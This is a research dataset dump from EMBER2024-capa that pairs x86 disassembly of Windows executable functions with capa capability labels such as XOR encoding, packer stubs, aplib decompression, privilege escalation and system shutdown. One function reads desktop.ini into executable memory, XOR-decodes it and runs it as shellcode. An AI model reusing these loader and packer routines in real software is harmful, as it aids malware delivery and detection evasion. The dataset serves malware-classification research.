joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1140df74
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1140df7e
pushal
call 0x1140df84
pop ebp
sub ebp, 0x10
sub ebp, 0x140df74
jmp 0x1140df9a
pop esp
mov eax, 0x140df74
mov eax, 0x140df74
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b3
mov edx, 0x7c51b71a
jl 0x1140dfe2
xor byte [eax], dl
inc eax
dec ecx
adc byte [eax + 0x49], al
jne 0x1140dfb1
jmp 0x1140dfc4
xchg ecx, eax
xlatb
xchg ecx, eax
xchg ebx, eax
sbb bl, byte es:[edx]
sbb bl, byte [ebx + 0x1a1ae2db]
sbb bl, byte [ecx]
xlatb
mov byte [0x1a1a1a1c], al
mov al, byte [0x1a1a1a32]
in eax, dx
clc
sbb edx, edx
xchg ecx, eax
wait
push ss
sbb bl, byte [edx]
sbb bl, byte [ecx]
fisttp word [edx + 0x4a]
jb 0x1140dfb0
jne 0x1140e02b
sbb dh, byte [edx - 0x7a]
jne 0x1140dffa
sbb ebx, dword [ebx]
jb 0x1140df96
wait
retf
sbb bl, byte [edx]
xor al, 0x1a
sbb bl, byte [edx]
dec edi
xchg ecx, eax
not byte [ecx + 0x1a1a129f]
sbb dl, byte [ecx + 0x1a1a168f]
sbb dl, byte [ecx + 0x1a1a0a97]
sbb bl, bl
sbb byte [ebx], ch
sbb byte [ecx + 0x15531ed8], bl
lahf
out dx, al
in eax, 0xe5
in eax, 0x91
xchg edi, eax
jle 0x1140e070
push ds
fcom dword [esi]
sbb dl, byte [ecx + 0x1a1e3e96]
sbb bl, byte [edx]
jb 0x1140e001
jne 0x1140e07c
sbb dh, byte [edx - 0x7a]
jne 0x1140e04b
sbb ebx, dword [ebx]
dec ebx
pop ds
sbb bl, byte [edx]
sbb dh, bl
push ecx
sbb byte [edx], bl
sbb cl, byte [edi + 0x4e]
inc edi
in eax, 0x6f
push ss
in eax, 0x6f
adc dh, dl
sbb bl, byte fs:[edx]
sbb dl, byte [ecx + 0x1a1a12a7]
sbb bl, byte [ebx - 0x33b5ca15]
nop
wait
jmp 0x1140e0a7
insb byte es:[edi], dx
wait
call 0x7db8a332
sub eax, ecx
cdq
pop ds
push edx
adc eax, 0x1a1a549e
sbb dl, byte [0x1a1a5292]
sbb bh, byte [ecx + edx*4 + 6]
and ebx, dword [edx - 0x61ea0d1f]
add byte [edx], bl
sbb bl, byte [edx]
lcall 0x1a0b, 0x9e15f3e1
or ebx, dword [edx]
sbb bl, byte [edx]
jl 0x1140e048
loope 0x1140e094
aas
adc eax, 0x1a1a0f9e
sbb bl, byte [ebx - 0xd]
salc
in eax, 0xe5
in eax, 0x33
push esi
and ebx, dword [ebx]
cdq
fistp dword [edi]
cdq
push ds
repe cmpsd dword [esi], dword es:[edi]
in eax, 0xe5
in eax, 0x33
dec esi
and ebx, dword [eax]
cdq
fistp dword [ecx + ebx*4]
invalid
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1e82036a
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x290319ed
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x446797
Capabilities:
Encode data using add xor sub operations

Disassembly:
nop
mov dh, 0x9f
cmp al, 0x41
jo 0x4467fe
push esp
neg ecx
fild qword [ecx + eax]

Function at 0x4467c7
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
sub byte [ecx - 0x6399b6c4], 0x24
test al, 0x21
jp fcn.00446787

Function at 0x4bc6a9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c53d0
cmp edx, dword [eax]
je 0x4bc6cb
add eax, 8
inc ecx
cmp eax, 0x4c5460
jl 0x4bc6bc
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c53d0]
jne 0x4bc7f9
mov eax, dword [0x4cade0]
cmp eax, 1
je 0x4bc7d3
test eax, eax
jne 0x4bc6fc
cmp dword [0x4c52fc], 1
je 0x4bc7d3
cmp edx, 0xfc
je 0x4bc7f9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bc733
lea eax, [ebp - 0x1a4]
push 0x4c1a38
push eax
call fcn.004bd090
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bd520
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bc776
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bd520
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c1a34
push edi
call fcn.004bf3f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c1a18
push eax
call fcn.004bd090
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bd0a0
lea eax, [ebp - 0xa0]
push 0x4c1a14
push eax
call fcn.004bd0a0
push dword [esi + 0x4c53d4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bd0a0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c19ec
push eax
call fcn.004bf364
add esp, 0x2c
pop edi
jmp 0x4bc7f9
lea eax, [ebp + 8]
lea esi, [esi + 0x4c53d4]
push 0
push eax
push dword [esi]
call fcn.004bd520
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x1001c71
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push esi
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1001c9d
xor esi, esi
push esi
push 0x10
push esi
push esi
push 0x4f5
jmp 0x1001cf4
lea eax, [ebp - 0x10]
xor esi, esi
push eax
push 0x1001320
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push esi
push esi
lea eax, [ebp - 0x14]
push esi
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
push esi
jne 0x1001cde
push 0x10
push esi
push esi
push 0x4f6
jmp 0x1001cf4
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x1001cfe
push esi
push 0x10
push esi
push esi
push 0x4f7
push esi
call fcn.01003e44
xor eax, eax
jmp 0x1001d01
push 1
pop eax
pop esi
leave
ret

Function at 0x10021fb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
lea eax, [ebp - 0x104]
push 0x104
push eax
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1002268
lea eax, [ebp - 0x104]
push 0x100135c
push eax
call fcn.01005c31
lea eax, [ebp - 0x104]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea eax, [ebp - 0x104]
push 0x40
push eax
call dword [sym.imp.KERNEL32.dll__lopen]
mov esi, eax
cmp esi, 0xffffffff
je 0x1002268
push 2
push edi
push esi
call dword [sym.imp.KERNEL32.dll__llseek]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll__lclose]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x100226e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 8]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push dword [ebp + 8]
mov dword [ebp - 4], esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10022b7
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10022ae
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
pop esi
leave
ret 8

Function at 0x10022bf
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 8]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push dword [ebp + 8]
mov dword [ebp - 4], esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100230c
push esi
push esi
push esi
lea eax, [ebp - 4]
push esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x1002303
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
pop esi
leave
ret 4
Function at 0x1002367
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1002384
push 0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x1002387
and eax, 0x10
ret 4

Function at 0x100249d
Capabilities:
Get common file path
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [ebp + 8]
and dword [ebp - 4], 0
push ebx
push esi
and byte [eax], 0
push edi
mov edi, dword [ebp + 0x10]
cmp byte [edi], 0x23
jne 0x10025b1
movsx eax, byte [edi + 1]
inc edi
push eax
call dword [sym.imp.USER32.dll_CharUpperA]
mov esi, dword [sym.imp.USER32.dll_CharNextA]
push edi
mov bl, al
call esi
push eax
call esi
cmp bl, 0x53
mov edi, eax
je 0x10025a9
cmp bl, 0x57
je 0x100259b
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x10c]
mov ebx, 0x104
push 0x100136c
push eax
mov dword [ebp - 8], ebx
call esi
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.01005c31
lea eax, [ebp + 0x10]
push eax
push 0x20019
lea eax, [ebp - 0x10c]
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10025bb
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 0xc]
push dword [ebp + 8]
push eax
push 0
push 0x10012fc
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1002590
cmp dword [ebp + 0xc], 2
jne 0x1002583
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x1002583
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call esi
jmp 0x1002589
cmp dword [ebp + 0xc], 1
jne 0x1002590
mov dword [ebp - 4], 1
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x10025bb
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x10025bb
push dword [ebp + 0xc]
push dword [ebp + 8]
jmp 0x10025b5
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp dword [ebp - 4], 0
jne 0x10025ca
push edi
push dword [ebp + 8]
call fcn.01005c31
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x1005be1
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1005bf4
xor eax, eax
jmp 0x1005bfc
not eax
shr eax, 4
and eax, 1
ret 4

Function at 0x1005ecc
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
cmp byte [ecx], al
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], eax
je 0x1005f02
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
jne 0x1005f06
xor eax, eax
jmp 0x1005f1c
mov eax, dword [ebp - 8]
push 0x400
imul eax, dword [ebp - 0xc]
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
leave
ret 4

Function at 0x10071a7
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0xc]
mov eax, esi
shr eax, 2
push edi
mov edi, eax
dec eax
test edi, edi
jle 0x10071e7
lea edi, [eax + 1]
movzx eax, byte [ecx]
inc ecx
xor ebx, ebx
mov bh, byte [ecx]
or eax, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x10
or eax, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x18
or eax, ebx
inc ecx
xor edx, eax
dec edi
jne 0x10071c5
and esi, 3
xor eax, eax
dec esi
je 0x1007203
dec esi
je 0x10071fc
dec esi
jne 0x1007208
movzx eax, byte [ecx]
shl eax, 0x10
inc ecx
xor ebx, ebx
mov bh, byte [ecx]
or eax, ebx
inc ecx
movzx ecx, byte [ecx]
or eax, ecx
pop edi
pop esi
xor eax, edx
pop ebx
ret 0xc
Function at 0x6ef1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.006ef140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.006ef140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.006ef140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.006ef140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x6efbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6efc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x70187c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6efc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x6efc52
xor eax, eax
pop esi
leave
ret 4
Function at 0x1312058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x13121a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x131207e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x131206a
add dl, dl
jne 0x1312089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x13120dc
xor eax, eax
add dl, dl
jne 0x1312096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x131217d
add dl, dl
jne 0x13120a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x13120b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x13120bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x13120c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x13120d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1312075
mov eax, 1
add dl, dl
jne 0x13120ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x13120f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x13120e1
sub eax, ebx
mov ebx, 1
jne 0x1312128
mov ecx, 1
add dl, dl
jne 0x131210e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1312119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1312105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1312075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x131213f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x131214a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1312136
cmp eax, 0x7d00
jae 0x131216d
cmp eax, 0x500
jb 0x1312168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1312075
cmp eax, 0x7f
ja 0x1312170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1312075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x131219e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1312075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40df4c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409ab3
and dword [ebp - 0x14], 0
cmp dword [0x416cac], 0
mov dword [ebp - 0x18], eax
jne 0x40dfff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e0a7
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40e0a7
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x416cac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x416cb0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x416cb4], eax
call edi
push eax
call esi
mov dword [0x416cbc], eax
test eax, eax
je 0x40dfff
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x416cb8], eax
mov eax, dword [0x416cb8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x40e058
cmp dword [0x416cbc], ecx
je 0x40e058
push eax
call esi
push dword [0x416cbc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e058
test ebx, ebx
je 0x40e058
call edi
test eax, eax
je 0x40e04f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e04f
test byte [ebp - 8], 1
jne 0x40e058
or dword [ebp + 0x10], 0x200000
jmp 0x40e08b
mov eax, dword [0x416cb0]
cmp eax, dword [ebp - 0x18]
je 0x40e08b
push eax
call esi
test eax, eax
je 0x40e08b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e08b
mov eax, dword [0x416cb4]
cmp eax, dword [ebp - 0x18]
je 0x40e08b
push eax
call esi
test eax, eax
je 0x40e08b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x416cac]
call esi
test eax, eax
je 0x40e0a7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e0a9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004045e8
leave
ret
Function at 0x40a397
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x54
mov eax, dword [0x419004]
xor eax, esp
mov dword [esp + 0x50], eax
push esi
mov esi, dword [ebp + 8]
push 0x406f00
push 0x406f1c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40a3d1
push 0x800
call eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [esp + 0xc]
call fcn.00409496
push esi
lea ecx, [esp + 0x24]
call fcn.00408b70
lea ecx, [esp + 0x20]
call fcn.00408e9c
mov esi, eax
test esi, esi
jns 0x40a44f
lea ecx, [esp + 8]
call fcn.0040a30c
test al, al
je 0x40a499
cmp esi, 0x80040b00
jne 0x40a499
and dword [esp + 0x4c], 0
lea ecx, [esp + 0x20]
xor eax, eax
mov dword [esp + 0x50], 7
mov word [esp + 0x3c], ax
lea eax, [esp + 0x3c]
push eax
call fcn.00408f41
lea ecx, [esp + 0x3c]
mov esi, eax
call fcn.004095f1
test esi, esi
js 0x40a499
mov esi, 0x80040b02
jmp 0x40a499
cmp dword [esp + 0x1c], 8
lea esi, [esp + 8]
jb 0x40a45e
mov esi, dword [esp + 8]
push 0x406d74
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40a491
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
je 0x40a48a
jle 0x40a499
movzx esi, si
or esi, 0x80070000
jmp 0x40a499
mov esi, 0x80004005
jmp 0x40a499
push dword [ebp + 0x14]
push esi
call eax
mov esi, eax
cmp dword [esp + 0x20], 0
je 0x40a4aa
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x24]
call fcn.004095f1
lea ecx, [esp + 8]
call fcn.004095f1
mov ecx, dword [esp + 0x54]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0040ab91
mov esp, ebp
pop ebp
ret 0x10

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x33f55615
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x6d6359fc
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x406548
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x4976a0]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
mov eax, dword [edi + 4]
push ecx
push dword [edi]
xor esi, esi
or eax, 0x2001f
lea ebx, [ebp - 0x118]
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x114], esi
mov dword [ebp - 0x110], esi
call fcn.004064c4
mov ebx, eax
cmp ebx, esi
je 0x4065b4
cmp dword [ebp - 0x118], esi
je 0x4065ad
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x40664c
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x4065dc
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x118]
call fcn.00406548
mov dword [ebp - 0x124], eax
cmp eax, esi
jne 0x40665d
lea eax, [ebp - 0x12c]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x10c]
push eax
push esi
push dword [ebp - 0x118]
mov dword [ebp - 0x11c], pe_nt_image_headers32
call ebx
test eax, eax
je 0x4065bc
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x118], esi
je 0x406627
push dword [ebp - 0x118]
call ebx
mov dword [ebp - 0x118], esi
push dword [ebp - 0x120]
mov dword [ebp - 0x114], esi
call fcn.004063e9
mov edi, eax
cmp dword [ebp - 0x118], esi
je 0x40664a
push dword [ebp - 0x118]
call ebx
mov eax, edi
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044a628
leave
ret 4
cmp dword [ebp - 0x118], esi
je 0x406671
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x124]
jmp 0x40664c